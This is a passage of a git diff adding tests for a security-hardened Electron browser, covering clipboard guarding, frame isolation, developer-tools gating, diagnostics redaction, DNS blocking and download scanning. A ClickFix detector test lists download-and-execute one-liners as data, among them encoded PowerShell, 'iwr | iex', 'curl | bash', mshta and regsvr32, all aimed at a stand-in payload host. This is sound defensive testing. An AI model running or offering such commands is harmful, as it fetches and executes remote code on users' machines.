operation;assert.equal(result.ruleId,'clipboard-timeout');pending.resolve({decision:'allow'});await new Promise(r=>setImmediate(r));assert.equal(f.writes.length,0);assert.equal(f.commits.length,0);assert.ok(f.discards.length>=1); +}); + +test('switching away and back during scan invalidates clipboard authorization',async()=>{ + const pending=deferred(),started=deferred(),f=guardFixture(async()=>{started.resolve();return pending.promise;}); + f.setContext({...f.context(),tabId:'tab-a',activation:1}); + const operation=f.guard.perform('copy',f.webContents);await started.promise; + f.setContext({...f.context(),tabId:'tab-a',activation:3}); + pending.resolve({decision:'allow'});assert.equal((await operation).completed,false); + assert.equal(f.writes.length,0);assert.equal(f.commits.length,0); +}); +test('independent clipboard review: focused nested frame cannot request a main-frame copy',async()=>{ + const f=guardFixture(async()=>({decision:'allow'}));f.webContents.focusedFrame={};assert.equal((await f.guard.perform('copy',f.webContents)).completed,false);assert.equal(f.writes.length,0);assert.equal(f.commits.length,0); +}); +test('independent clipboard review: failed native clipboard write cannot delete a cut selection',async()=>{ + const frame={},webContents={mainFrame:frame,focusedFrame:frame},context={ready:true,policy:defaultPolicy(),url:'https://company.example/',navigationId:1,webContents};let mutations=0,discarded=0; + const guard=createClipboardGuard({getContext:()=>context,stage:async()=>({text:'selected public text'}),validate:async()=>({completed:true}),commit:async()=>{mutations++;return{completed:true};},discard:async()=>{discarded++;},readClipboard:()=>'',writeClipboard:()=>{throw Error('Native write failed');},inspect:async()=>({decision:'allow'}),audit:async()=>{}}); + assert.equal((await guard.perform('cut',webContents)).completed,false);assert.equal(mutations,0);assert.equal(discarded,1); +}); +function domFixture(){ + const matches=(node,selector)=>{selector=selector.trim();if(selector.startsWith('[')){const match=/^\[([^=\]]+)(?:="([^"]+)")?\]$/.exec(selector);return !!match&&Object.hasOwn(node.attributes,match[1])&&(match[2]===undefined||node.attributes[match[1]]===match[2]);}return node.tagName.toLowerCase()===selector;}; + const element=(tag,parent=null,attributes={})=>{const e={nodeType:1,tagName:tag.toUpperCase(),parentElement:parent,attributes,children:[],isConnected:true,type:attributes.type||'',style:{display:'block',visibility:'visible',opacity:'1'},getAttribute:name=>e.attributes[name]??null,getClientRects:()=>[{width:100,height:16}],closest:selector=>{for(let p=e;p;p=p.parentElement)if(selector.split(',').some(s=>matches(p,s)))return p;return null;},querySelector:selector=>descendants(e).find(n=>selector.split(',').some(s=>matches(n,s)))||null};parent?.children.push(e);return e;}; + const descendants=e=>e.children.flatMap(c=>[c,...descendants(c)]),body=element('body'),paragraph=element('p',body),child=element('span',paragraph),range={commonAncestorContainer:paragraph,startContainer:paragraph,endContainer:paragraph,startOffset:0,endOffset:1,toString:()=> 'public text with selected hidden content',cloneRange(){return{...this};},intersectsNode:()=>true},selection={rangeCount:1,isCollapsed:false,getRangeAt:()=>range}; + const document={body,activeElement:body,createTreeWalker:root=>{const nodes=descendants(root);let index=0;return{nextNode:()=>nodes[index++]||null};}},window={};window.top=window; + const sandbox={window,document,location:{href:'https://company.example/'},NodeFilter:{SHOW_ELEMENT:1},getSelection:()=>selection,getComputedStyle:e=>e.style,Event:class{}};vm.createContext(sandbox); + const execute=(mode='stage',operation='copy')=>vm.runInContext(clipboardScript(mode,{url:sandbox.location.href,token:'trusted-token',operation,text:'public replacement',limit:1024}),sandbox); + return{sandbox,document,paragraph,child,element,range,execute}; +} +test('independent clipboard review: selected hidden, inert, script and ancestor-transparent content is refused',()=>{ + for(const type of ['hidden','inert','aria-hidden','script','transparent']){const f=domFixture();if(type==='script')f.child.tagName='SCRIPT';else if(type==='transparent')f.paragraph.style.opacity='0';else f.child.attributes[type]=type==='aria-hidden'?'true':'';assert.throws(()=>f.execute(),undefined,type);assert.equal(f.sandbox.__safetynetClipboardSnapshot,undefined);} + const publicRange=domFixture();assert.equal(publicRange.execute().text,'public text with selected hidden content');publicRange.child.attributes.hidden='';assert.throws(()=>publicRange.execute('commit'));assert.equal(publicRange.sandbox.__safetynetClipboardSnapshot,undefined); +}); +test('independent clipboard review: password fields and parent-hidden text fields never reach the scanner',()=>{ + for(const type of ['password','secret-name','transparent']){const f=domFixture(),input=f.element('input',f.paragraph,{type:type==='password'?'password':'text',...(type==='secret-name'?{name:'api_token'}:{})});Object.assign(input,{value:'private field secret',selectionStart:0,selectionEnd:20,disabled:false,readOnly:false});f.document.activeElement=input;if(type==='transparent')f.paragraph.style.opacity='0';assert.throws(()=>f.execute());assert.equal(f.sandbox.__safetynetClipboardSnapshot,undefined);} +}); diff --git a/tests/clipboard-subframes.fixture.cjs b/tests/clipboard-subframes.fixture.cjs new file mode 100644 index 0000000..1136767 --- /dev/null +++ b/tests/clipboard-subframes.fixture.cjs @@ -0,0 +1,46 @@ +// Isolated native proof fixture; never loaded by the application. +const {app,BrowserWindow,ipcMain,clipboard,ClipboardItem}=require('electron'); +const fs=require('node:fs'),path=require('node:path'),os=require('node:os'),http=require('node:http'); +const {attachPageClipboardGuard,disposePageClipboardGuard}=require('../apps/browser/page-clipboard-guard.cjs'); +const profile=fs.mkdtempSync(path.join(os.tmpdir(),'safetynet-frame-proof-profile-')); +app.setPath('userData',profile);app.setPath('sessionData',profile); +app.enableSandbox();app.disableHardwareAcceleration(); +const temporary=path.join(os.tmpdir(),`safetynet-frame-proof-${process.pid}.cjs`),records=[]; +const control=process.env.SAFETYNET_CLIP_PROOF_CONTROL==='1'; +const hooks=control?'':fs.readFileSync(path.resolve('apps/browser/site-preload.cjs'),'utf8'); +fs.writeFileSync(temporary,hooks+`\nlet fsDenied=false;try{require('node:fs');}catch{fsDenied=true;}require('electron').ipcRenderer.send('frame-proof',{main:process.isMainFrame,sandboxed:process.sandboxed,contextIsolated:process.contextIsolated,fsDenied,url:location.href});`); +ipcMain.on('managed:visual-policy',event=>{event.returnValue={enabled:false};}); +ipcMain.on('frame-proof',(event,value)=>records.push({...value,processId:event.senderFrame.processId})); +const timeout=setTimeout(()=>app.exit(1),15000); +app.whenReady().then(async()=>{let win,server,original;try{ + original=[];for(const item of await clipboard.read()){const data={};for(const type of item.types)data[type]=await item.getType(type);original.push(new ClipboardItem(data));}await clipboard.writeText('frame-proof-sentinel'); + server=http.createServer((req,res)=>{res.setHeader('content-type','text/html');res.end(req.url==='/child'?'':`

Frame proof

`);});await new Promise(resolve=>server.listen(0,'127.0.0.1',resolve)); + win=new BrowserWindow({show:true,webPreferences:{sandbox:true,contextIsolation:true,nodeIntegration:false,nodeIntegrationInSubFrames:true,preload:temporary}});await win.loadURL('about:blank'); + if(control){win.webContents.debugger.attach('1.3');await win.webContents.debugger.sendCommand('Page.enable',{});await win.webContents.debugger.sendCommand('Page.addScriptToEvaluateOnNewDocument',{source:'void 0;'});} + else await attachPageClipboardGuard(win.webContents,()=>{throw Error('Proof guard detached');}); + await win.loadURL(`http://127.0.0.1:${server.address().port}/`);win.focus();win.webContents.focus();await new Promise(resolve=>setTimeout(resolve,300)); + win.show();win.focus();win.webContents.focus();await new Promise(resolve=>setTimeout(resolve,500)); + const srcdoc=await win.webContents.executeJavaScript(`(()=>{const frame=document.getElementById('child'),d=frame.contentDocument;d.body.innerHTML='';const a=d.getElementById('a');a.focus();a.select();return {copied:d.execCommand('copy'),node:typeof frame.contentWindow.require,process:typeof frame.contentWindow.process,bridge:typeof frame.contentWindow.safetynet};})()`,true); + const srcdocFrame=win.webContents.mainFrame.frames.find(frame=>frame.url==='about:srcdoc'); + const srcdocActivated=await srcdocFrame.executeJavaScript(`(()=>{const a=document.getElementById('a');a.focus();a.select();return {copied:document.execCommand('copy')};})()`,true); + await new Promise(resolve=>setTimeout(resolve,300)); + const srcdocSafe=await clipboard.readText()==='frame-proof-sentinel'; + await clipboard.writeText('frame-proof-sentinel'); + const blank=await win.webContents.executeJavaScript(`(()=>{const frame=document.createElement('iframe');document.body.append(frame);const d=frame.contentDocument;d.body.innerHTML='';const a=d.getElementById('a');a.focus();a.select();return {copied:d.execCommand('copy'),node:typeof frame.contentWindow.require,process:typeof frame.contentWindow.process};})()`,true); + const blankFrame=win.webContents.mainFrame.frames.at(-1); + const blankActivated=await blankFrame.executeJavaScript(`(()=>{const a=document.getElementById('a');a.focus();a.select();return {copied:document.execCommand('copy'),node:typeof require,process:typeof process};})()`,true); + await new Promise(resolve=>setTimeout(resolve,300)); + const blankSafe=await clipboard.readText()==='frame-proof-sentinel';await new Promise(resolve=>setTimeout(resolve,100)); + await clipboard.writeText('frame-proof-sentinel'); + const crossFrame=win.webContents.mainFrame.frames.find(frame=>frame.url.includes('localhost')); + win.show();win.focus();win.webContents.focus();await new Promise(resolve=>setTimeout(resolve,500)); + const cross=await crossFrame.executeJavaScript(`(()=>{const a=document.getElementById('a');a.focus();a.select();return {copied:document.execCommand('copy'),node:typeof require,process:typeof process,bridge:typeof safetynet};})()`,true); + await new Promise(resolve=>setTimeout(resolve,300)); + const crossSafe=await clipboard.readText()==='frame-proof-sentinel'; + const mainProcess=records.find(r=>r.main)?.processId,crossProcess=records.find(r=>r.url.includes('localhost'))?.processId; + const oopif=Number.isInteger(mainProcess)&&Number.isInteger(crossProcess)&&crossProcess!==mainProcess; + console.log(JSON.stringify({control,records,srcdoc,srcdocActivated,srcdocSafe,blank,blankActivated,blankSafe,cross,crossSafe,oopif})); + const protectedExpected=srcdocSafe&&blankSafe&&crossSafe; + const controlExpected=srcdocActivated.copied===true&&blankActivated.copied===true&&cross.copied===true&&!srcdocSafe&&!blankSafe&&!crossSafe; + if(original.length)await clipboard.write(original);else await clipboard.clear();if(!control)disposePageClipboardGuard(win.webContents);win.destroy();server.close();clearTimeout(timeout);fs.unlinkSync(temporary);app.exit((control?controlExpected:protectedExpected)&&oopif&&records.every(r=>r.sandboxed&&r.contextIsolated&&r.fsDenied)?0:1); +}catch(error){console.log(JSON.stringify({fixtureError:error.name,message:error.message}));if(original?.length)await clipboard.write(original).catch(()=>{});if(win&&!control)disposePageClipboardGuard(win.webContents);win?.destroy();server?.close();clearTimeout(timeout);try{fs.unlinkSync(temporary);}catch{}app.exit(1);}}); diff --git a/tests/clipboard.test.mjs b/tests/clipboard.test.mjs new file mode 100644 index 0000000..a04a2cb --- /dev/null +++ b/tests/clipboard.test.mjs @@ -0,0 +1,48 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { defaultPolicy,PolicySchema,signPolicy,verifyPolicy } from '../packages/core/policy.mjs'; +import { detectClickFix,inspectClipboard } from '../packages/core/clipboard.mjs'; +import { generateKeyPairSync } from 'node:crypto'; +import { toECS,toCEF } from '../packages/core/siem.mjs'; +test('clipboard policy is signed, defaults protected, and unsafe fields are rejected',()=>{ + const p=defaultPolicy();assert.deepEqual(p.security.clipboard,{enabled:true,allowCopy:true,allowCut:true,allowPaste:true,blockSuspiciousCommands:true,failClosed:true,maxTextBytes:1048576}); + const keys=generateKeyPairSync('ed25519'),privateKey=keys.privateKey.export({type:'pkcs8',format:'pem'}),publicKey=keys.publicKey.export({type:'spki',format:'pem'});p.security.clipboard.allowCopy=false;assert.equal(verifyPolicy(signPolicy(p,privateKey),publicKey).security.clipboard.allowCopy,false); + for(const field of [{failClosed:false},{maxTextBytes:1048577},{maxTextBytes:0},{allowPaste:'yes'},{captureText:true}])assert.equal(PolicySchema.safeParse({...p,security:{...p.security,clipboard:{...p.security.clipboard,...field}}}).success,false); +}); +test('ClickFix blocks high-risk Windows and Unix execution chains including simple obfuscation',()=>{ + const commands=[ + 'powershell.exe -NoProfile -EncodedCommand SQBFAFgAIAAoAGkAdwByACAAaAB0AHQAcAApAA==', + 'powershell -ec VABFAFMAVAA=', + 'pwsh -en VABFAFMAVAA=', + 'powershell -enc cQA=', + 'po^wer`she\u200bll -enc SQBFAFgAIAAoAGkAdwByACAAaAB0AHQAcAApAA==', + 'iwr https://payload.example/script.ps1 | iex', + 'powershell -c "IEX ((New-Object Net.WebClient).DownloadString(\'https://payload.example/a\'))"', + 'mshta.exe https://payload.example/check.hta', + 'rundll32 javascript:"\\..\\mshtml,RunHTMLApplication";GetObject("script:https://payload.example/a")', + 'regsvr32 /s /u /i:https://payload.example/scrobj.sct scrobj.dll', + 'curl -fsSL https://payload.example/install.sh | bash', + 'wget -qO- https://payload.example/a | sudo sh', + 'bash -c "$(curl https://payload.example/a)"', + 'curl https://payload.example/a -o setup.exe && setup.exe', + 'curl https://payload.example/a -o setup.exe && .\\setup.exe', + 'wget https://payload.example/a -O install.sh; ./install.sh', + 'iwr https://payload.example/a -OutFile temp.exe; Start-Process temp.exe', + 'python -c "import urllib.request;exec(urllib.request.urlopen(\'https://payload.example/a\').read())"', + encodeURIComponent('iwr https://payload.example/a | iex') + ]; + for(const command of commands)assert.equal(detectClickFix(command).decision,'block',command); +}); +test('ordinary programming, standalone downloads and administrative commands remain allowed',()=>{ + for(const text of ['Hello world','Get-Process | Sort-Object CPU','powershell -NoProfile -Command Get-Date','curl https://example.com/data.json -o data.json','wget https://example.com/readme.txt','const result = await fetch("https://example.com/api"); console.log(result);','python -c "print(123)"','git clone https://github.com/example/project.git','npm install package','sha256sum package.exe','A description of curl and bash without a remote execution pipeline'])assert.equal(detectClickFix(text).decision,'allow',text); +}); +test('clipboard inspection enforces permissions, mandatory DLP, expiry, coverage and detector override',()=>{ + const p=defaultPolicy(),safe='Normal public content';for(const op of ['copy','cut','paste'])assert.equal(inspectClipboard(safe,p,op).decision,'allow'); + for(const [op,key] of [['copy','allowCopy'],['cut','allowCut'],['paste','allowPaste']]){p.security.clipboard[key]=false;assert.equal(inspectClipboard(safe,p,op).ruleId,`clipboard-${op}-disabled`);p.security.clipboard[key]=true;} + assert.equal(inspectClipboard('iwr https://payload.example/a | iex',p,'copy').decision,'block');p.security.clipboard.blockSuspiciousCommands=false;assert.equal(inspectClipboard('iwr https://payload.example/a | iex',p,'copy').decision,'allow'); + p.dlp.rules=[{id:'corporate-secret',label:'Secret',kind:'literal',value:'Secret Project',action:'block'}];p.security.clipboard.enabled=false;p.security.clipboard.allowCopy=false;assert.equal(inspectClipboard('Secret Project',p,'copy').ruleId,'corporate-secret');assert.equal(inspectClipboard('-----BEGIN PRIVATE KEY-----',p,'copy').ruleId,'private-key');assert.equal(inspectClipboard(safe,p,'copy').decision,'allow'); + assert.equal(inspectClipboard(Buffer.from([0xff]),p,'paste').ruleId,'clipboard-uninspectable');assert.equal(inspectClipboard('a\0b',p,'copy').ruleId,'clipboard-uninspectable');assert.equal(inspectClipboard({text:safe},p,'copy').decision,'block');assert.equal(inspectClipboard(safe,p,'read-file').decision,'block');p.security.clipboard.maxTextBytes=1024;assert.equal(inspectClipboard('x'.repeat(1025),p,'paste').ruleId,'clipboard-size-limit');p.expiresAt=new Date(0).toISOString();assert.equal(inspectClipboard(safe,p,'copy').ruleId,'clipboard-policy-expired'); +}); +test('clipboard SIEM events classify denied and access actions without exporting text',()=>{ + const event={id:1,time:new Date().toISOString(),device_id:'device',kind:'clipboard.block',metadata:{ruleId:'clickfix-encoded-powershell',policyVersion:1,text:'private clipboard sentinel'}};const ecs=toECS(event,'test');assert.deepEqual(ecs.event.category,['process']);assert.deepEqual(ecs.event.type,['denied']);assert.equal(JSON.stringify(ecs).includes('private clipboard'),false);assert.equal(toCEF(event).includes('private clipboard'),false);event.kind='clipboard.paste';assert.deepEqual(toECS(event).event.type,['access']); +}); diff --git a/tests/developer-tools.test.mjs b/tests/developer-tools.test.mjs new file mode 100644 index 0000000..e072b20 --- /dev/null +++ b/tests/developer-tools.test.mjs @@ -0,0 +1,5 @@ +import test from 'node:test';import assert from 'node:assert/strict';import {EventEmitter} from 'node:events';import {createRequire} from 'node:module';const require=createRequire(import.meta.url),{createDeveloperToolsGuard,developerShortcut}=require('../apps/browser/developer-tools.cjs'); +function fixture(){const contents=new EventEmitter();let opened=false,opens=0,epoch=0;contents.isDestroyed=()=>false;contents.isDevToolsOpened=()=>opened;contents.openDevTools=()=>{opened=true;opens++;contents.emit('devtools-opened');};contents.closeDevTools=()=>{opened=false;};let context={ready:true,foreground:true,url:'https://example.com',policy:{browser:{allowDevTools:false},expiresAt:new Date(Date.now()+60000).toISOString()}};const audit=[];const guard=createDeveloperToolsGuard({contents,getContext:()=>({...context,epoch}),isCurrent:c=>c.epoch===epoch,audit:async kind=>audit.push(kind)});return {guard,contents,audit,context,opens:()=>opens,change:()=>epoch++};} +test('developer shortcuts always handled explicitly and default deny cannot open',async()=>{const f=fixture();for(const key of ['F12','i','j'])assert.equal(developerShortcut({type:'keyDown',key,control:true,shift:true}),true);await f.guard.toggle();assert.equal(f.opens(),0);assert.ok(f.audit.includes('devtools.denied'));}); +test('signed effective grant opens only an active managed HTTP tab and toggles closed',async()=>{const f=fixture();f.context.policy.browser.allowDevTools=true;await f.guard.toggle();assert.equal(f.opens(),1);assert.equal(f.contents.isDevToolsOpened(),true);await f.guard.toggle();assert.equal(f.contents.isDevToolsOpened(),false);f.context.foreground=false;await f.guard.toggle();assert.equal(f.opens(),1);}); +test('policy or tab activation change during authorization audit prevents opening',async()=>{const f=fixture();f.context.policy.browser.allowDevTools=true;const promise=f.guard.toggle();f.change();await promise;assert.equal(f.opens(),0);f.context.policy.expiresAt=new Date(0).toISOString();await f.guard.toggle();assert.equal(f.opens(),0);}); diff --git a/tests/diagnostics.test.mjs b/tests/diagnostics.test.mjs new file mode 100644 index 0000000..7c652a2 --- /dev/null +++ b/tests/diagnostics.test.mjs @@ -0,0 +1,18 @@ +import test from 'node:test';import assert from 'node:assert/strict';import {createRequire} from 'node:module';import {createServer} from 'node:http';import {DiagnosticsSchema,diagnosticsEndpointAllowed} from '../packages/core/diagnostics.mjs'; +const require=createRequire(import.meta.url),{createDiagnostics,attributes}=require('../apps/browser/diagnostics.cjs'); +const delay=ms=>new Promise(r=>setTimeout(r,ms)); +async function collector(t){const requests=[];const server=createServer((req,res)=>{const chunks=[];req.on('data',c=>chunks.push(c));req.on('end',()=>{requests.push({path:req.url,headers:req.headers,payload:JSON.parse(Buffer.concat(chunks).toString())});res.setHeader('content-type','application/json');res.end('{}');});}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));t.after(()=>new Promise(r=>{server.closeAllConnections();server.close(r);}));return {requests,endpoint:`http://127.0.0.1:${server.address().port}`};} +const spans=requests=>requests.filter(r=>r.path.endsWith('/traces')).flatMap(r=>r.payload.resourceSpans||[]).flatMap(r=>r.scopeSpans||[]).flatMap(r=>r.spans||[]); +const logs=requests=>requests.filter(r=>r.path.endsWith('/logs')).flatMap(r=>r.payload.resourceLogs||[]).flatMap(r=>r.scopeLogs||[]).flatMap(r=>r.logRecords||[]); +const config=endpoint=>DiagnosticsSchema.parse({enabled:true,mode:'debug',endpoint,sampleRate:1,debugSampleRate:1,flushIntervalMs:10000}); +test('diagnostics schema defaults disabled and rejects insecure or credentialed collectors',()=>{assert.equal(DiagnosticsSchema.parse({}).enabled,false);for(const endpoint of ['http://localhost:4318','http://10.0.0.1:4318','https://user:secret@example.com','https://example.com/?token=secret','https://example.com/#secret','file:///private','ftp://example.com'])assert.equal(diagnosticsEndpointAllowed(endpoint),false,endpoint);for(const endpoint of ['https://collector.company.test/otel','http://127.0.0.1:4318','http://127.0.0.2:4318','http://[::1]:4318'])assert.equal(diagnosticsEndpointAllowed(endpoint),true);assert.equal(DiagnosticsSchema.safeParse({enabled:true}).success,false);assert.equal(DiagnosticsSchema.safeParse({enabled:false,rawContent:true}).success,false);assert.equal(DiagnosticsSchema.safeParse({maxQueueSize:999999}).success,false);}); +test('browser diagnostics exports real OTLP parent/child traces and correlated safe logs',{timeout:15000},async t=>{const {requests,endpoint}=await collector(t),diagnostics=createDiagnostics();t.after(()=>diagnostics.shutdown());const secret='PASSWORD_TOKEN_SECRET_MUST_NEVER_EXPORT';const oldHeaders=process.env.OTEL_EXPORTER_OTLP_HEADERS,oldResource=process.env.OTEL_RESOURCE_ATTRIBUTES;process.env.OTEL_EXPORTER_OTLP_HEADERS=`authorization=Bearer ${secret},x-private=${secret}`;process.env.OTEL_RESOURCE_ATTRIBUTES=`secret=${secret}`;t.after(()=>{if(oldHeaders===undefined)delete process.env.OTEL_EXPORTER_OTLP_HEADERS;else process.env.OTEL_EXPORTER_OTLP_HEADERS=oldHeaders;if(oldResource===undefined)delete process.env.OTEL_RESOURCE_ATTRIBUTES;else process.env.OTEL_RESOURCE_ATTRIBUTES=oldResource;}); + assert.equal(diagnostics.configure(config(endpoint),{policyVersion:4,deviceId:'00000000-0000-4000-8000-000000000001'}),true);let calls=0; + const result=await diagnostics.span('browser.ipc',{operation:'inspect-file',prompt:secret,url:`https://example.com/?token=${secret}`,sessionId:'00000000-0000-4000-8000-000000000002'},async()=>{calls++;const ids=diagnostics.correlation();assert.match(ids.traceId,/^[a-f0-9]{32}$/);assert.match(ids.spanId,/^[a-f0-9]{16}$/);diagnostics.event('browser.security',{decision:'allow',password:secret});return diagnostics.span('browser.inspect.local',{bytes:24,policyVersion:4},async()=>{await delay(10);return 7;});});assert.equal(result,7);assert.equal(calls,1); + const failure=new Error(secret);await assert.rejects(diagnostics.span('browser.agent',{operation:'read',token:secret},async()=>{throw failure;}),error=>error===failure);await diagnostics.span(secret,{operation:secret},async()=>{});await diagnostics.flush(); + const traceSpans=spans(requests),logRecords=logs(requests);assert.equal(traceSpans.length,3);const parent=traceSpans.find(s=>s.name==='browser.ipc'),child=traceSpans.find(s=>s.name==='browser.inspect.local');assert.ok(parent&&child);assert.equal(child.traceId,parent.traceId);assert.equal(child.parentSpanId,parent.spanId);assert.ok(BigInt(child.endTimeUnixNano)>BigInt(child.startTimeUnixNano));assert.ok(child.attributes.some(a=>a.key==='safetynet.duration.ms'&&(a.value.doubleValue??a.value.intValue)>=1));assert.ok(logRecords.length>=3);assert.ok(logRecords.some(log=>log.traceId===parent.traceId&&log.spanId===parent.spanId));assert.equal(JSON.stringify(requests).includes(secret),false);assert.equal(requests.some(r=>r.headers.authorization||r.headers['x-private']),false);assert.ok(traceSpans.find(s=>s.name==='browser.agent').status.code===2);assert.equal(JSON.stringify(requests).includes('process.command'),false); +}); +test('disable and reconfiguration discard queued generation before export',{timeout:10000},async t=>{const {requests,endpoint}=await collector(t),diagnostics=createDiagnostics();t.after(()=>diagnostics.shutdown());diagnostics.configure(config(endpoint));await diagnostics.span('browser.navigation',{operation:'navigate'},async()=>{});diagnostics.event('browser.security',{decision:'block'});diagnostics.configure({enabled:false});await diagnostics.flush();await delay(100);assert.equal(requests.length,0);let calls=0;await diagnostics.span('browser.navigation',{},async()=>{calls++;});assert.equal(calls,1);assert.equal(diagnostics.status().enabled,false);diagnostics.configure(config(endpoint),{policyVersion:9});await diagnostics.span('browser.navigation',{operation:'navigate'},async()=>{});await diagnostics.flush();assert.equal(spans(requests).length,1);assert.equal(spans(requests)[0].attributes.find(a=>a.key==='safetynet.policy.version').value.intValue,9);diagnostics.configure({...config(endpoint),endpoint:'http://10.0.0.1:4318'});assert.equal(diagnostics.status().enabled,false);}); +test('diagnostics bounded queues expire old records and never repeat failed security operations',{timeout:10000},async t=>{const {requests,endpoint}=await collector(t),diagnostics=createDiagnostics();t.after(()=>diagnostics.shutdown());diagnostics.configure({...config(endpoint),maxQueueSize:16,maxRecordAgeMs:1000});await diagnostics.span('browser.request',{requestType:'xhr'},async()=>{});await delay(1100);await diagnostics.flush();assert.equal(requests.length,0,'Expired diagnostic record exported');diagnostics.configure({...config(endpoint),maxQueueSize:16});for(let i=0;i<50;i++)diagnostics.event('browser.request',{requestType:'xhr'});await diagnostics.flush();assert.ok(logs(requests).length<=50);for(const request of requests)if(request.path.endsWith('/logs'))assert.ok(logs([request]).length<=16,'Export batch exceeded bounded queue');let calls=0;diagnostics.configure({...config(endpoint),endpoint:'http://127.0.0.1:1',exportTimeoutMs:250});assert.equal(await diagnostics.span('browser.request',{},async()=>{calls++;return 'security decision';}),'security decision');await diagnostics.flush();assert.equal(calls,1);assert.ok(diagnostics.status().failedExports>=1);}); +test('diagnostic attributes are typed and never invoke hostile getters',()=>{const input={operation:'read',sessionId:'not-a-uuid',status:'ok',secret:'never',bytes:32};Object.defineProperty(input,'prompt',{enumerable:true,get(){throw Error('getter called');}});assert.deepEqual(attributes(input),{'safetynet.operation':'read','safetynet.status':'ok','safetynet.bytes':32});}); +test('OTLP redirects do not forward diagnostics and zero sampling suppresses records',{timeout:10000},async t=>{const {requests,endpoint}=await collector(t);const redirect=createServer((_req,res)=>{res.statusCode=307;res.setHeader('location',endpoint+'/v1/traces');res.end('redirect');}).listen(0,'127.0.0.1');await new Promise(r=>redirect.once('listening',r));t.after(()=>new Promise(r=>{redirect.closeAllConnections();redirect.close(r);}));const diagnostics=createDiagnostics();t.after(()=>diagnostics.shutdown());diagnostics.configure(config(`http://127.0.0.1:${redirect.address().port}`));await diagnostics.span('browser.navigation',{},async()=>{});await diagnostics.flush();assert.equal(requests.length,0,'Collector redirect received diagnostic payload');assert.ok(diagnostics.status().failedExports>=1);diagnostics.configure({...config(endpoint),sampleRate:0,debugSampleRate:0});await diagnostics.span('browser.ipc',{operation:'state'},async()=>{assert.deepEqual(diagnostics.correlation(),{});diagnostics.event('browser.security',{decision:'block'});});await diagnostics.flush();assert.equal(requests.length,0);}); diff --git a/tests/dns-alias.test.mjs b/tests/dns-alias.test.mjs new file mode 100644 index 0000000..46aa843 --- /dev/null +++ b/tests/dns-alias.test.mjs @@ -0,0 +1,10 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {defaultPolicy} from '../packages/core/policy.mjs'; +import {dnsAddressBlocked} from '../packages/core/security.mjs'; +test('IPv4-mapped IPv6 cannot bypass blocked destination IPs',()=>{ + const p=defaultPolicy();p.security.dns.blockedIPs=['127.0.0.2']; + for(const ip of ['127.0.0.2','::ffff:127.0.0.2','0:0:0:0:0:ffff:7f00:2'])assert.equal(dnsAddressBlocked(ip,p),true); + assert.equal(dnsAddressBlocked('::ffff:127.0.0.3',p),false); + p.security.dns.blockedIPs=['::ffff:7f00:2'];assert.equal(dnsAddressBlocked('127.0.0.2',p),true); +}); diff --git a/tests/download-gate.test.mjs b/tests/download-gate.test.mjs new file mode 100644 index 0000000..f15d6c2 --- /dev/null +++ b/tests/download-gate.test.mjs @@ -0,0 +1,38 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createHash} from 'node:crypto'; +import {createRequire} from 'node:module'; +const {createDownloadGate,filename}=createRequire(import.meta.url)('../apps/browser/download-gate.cjs'); +function setup(overrides={}){ + const calls=[],bytes=Buffer.from('benign download'),context={ready:true,webContentsId:5,policy:{version:1,browser:{allowDownloads:true},security:{yara:{enabled:true,rules:[{}],maxScanBytes:1024}}}}; + const gate=createDownloadGate({getContext:()=>context,isCurrent:()=>true,fetchResponse:async()=>new Response(bytes),scan:async b=>{calls.push('scan');return{decision:'allow',coverage:{complete:true},sha256:createHash('sha256').update(b).digest('hex')};},choosePath:async()=>{calls.push('dialog');return 'selected';},writeFile:async(_path,data)=>{calls.push('write');assert.deepEqual(data,bytes);},audit:async kind=>calls.push(kind),...overrides}); + return{gate,calls,context,input:{url:'https://example.com/file',name:'safe.bin',method:'GET',webContentsId:5}}; +} +test('downloads never ask or write before scan allows exact bytes',async()=>{const {gate,input,calls}=setup();assert.equal((await gate(input)).released,true);assert.ok(calls.indexOf('scan'){const {gate,input,calls}=setup({scan:async()=>({decision:'block',ruleId:'malware'})});assert.equal((await gate(input)).released,false);assert.equal(calls.includes('write'),false);assert.equal(calls.includes('dialog'),false);}); +test('scanner absence, changed policy, wrong digest and POST fail closed',async()=>{ + for(const overrides of [{scan:async()=>{throw Error('unavailable');}},{isCurrent:()=>false},{scan:async()=>({decision:'allow',coverage:{complete:true},sha256:'wrong'})}]){const {gate,input,calls}=setup(overrides);assert.equal((await gate(input)).released,false);assert.equal(calls.includes('write'),false);} + const {gate,input,calls}=setup();assert.equal((await gate({...input,method:'POST'})).released,false);assert.equal(calls.includes('write'),false); +}); +test('oversized responses are denied before scanning and write',async()=>{const {gate,input,calls}=setup({fetchResponse:async()=>new Response(Buffer.alloc(2048))});assert.equal((await gate(input)).released,false);assert.equal(calls.includes('scan'),false);assert.equal(calls.includes('write'),false);}); +test('filename cannot introduce device names, traversal or ADS',()=>{assert.equal(filename('CON'),'download.bin');assert.equal(filename('C:\\secret\\a:payload.exe'),'a_payload.exe');assert.equal(filename('../safe.txt'),'safe.txt');}); + +test('download captures the originating tab rather than the active tab',async()=>{ + let requested;const f=setup({getContext:id=>{requested=id;return f.context;}}); + assert.equal((await f.gate(f.input)).released,true);assert.equal(requested,5); + const missing=setup({getContext:()=>null,fetchResponse:async()=>{throw Error('Must not fetch unknown origin');}}); + assert.equal((await missing.gate(missing.input)).reason,'unmanaged-download'); +}); +test('closing the originating tab while scanning prevents dialog and write',async()=>{ + let current=true;const f=setup({isCurrent:()=>current,scan:async bytes=>{current=false;return {decision:'allow',coverage:{complete:true},sha256:createHash('sha256').update(bytes).digest('hex')};}}); + assert.equal((await f.gate(f.input)).reason,'policy-changed');assert.equal(f.calls.includes('dialog'),false);assert.equal(f.calls.includes('write'),false); +}); +test('configured ICAP can replace local antivirus while its bound size limit remains enforced',async()=>{const {gate,input,context,calls}=setup();context.policy.security.yara.enabled=false;context.policy.enterprise={icap:{enabled:true,scanDownloads:true,maxBytes:1024}};assert.equal((await gate(input)).released,true);assert.ok(calls.includes('write'));const f=setup();f.context.policy.security.yara.enabled=false;f.context.policy.enterprise={icap:{enabled:true,scanDownloads:true,maxBytes:5}};assert.equal((await f.gate(f.input)).released,false);assert.equal(f.calls.includes('scan'),false);}); +test('magic-byte executable and mismatch blocks precede scanner, dialog and OS write',async()=>{ + for(const setting of [{blockedTypes:['pe']},{blockExtensionMismatch:true},{blockMimeMismatch:true}]){ + const f=setup({fetchResponse:async()=>new 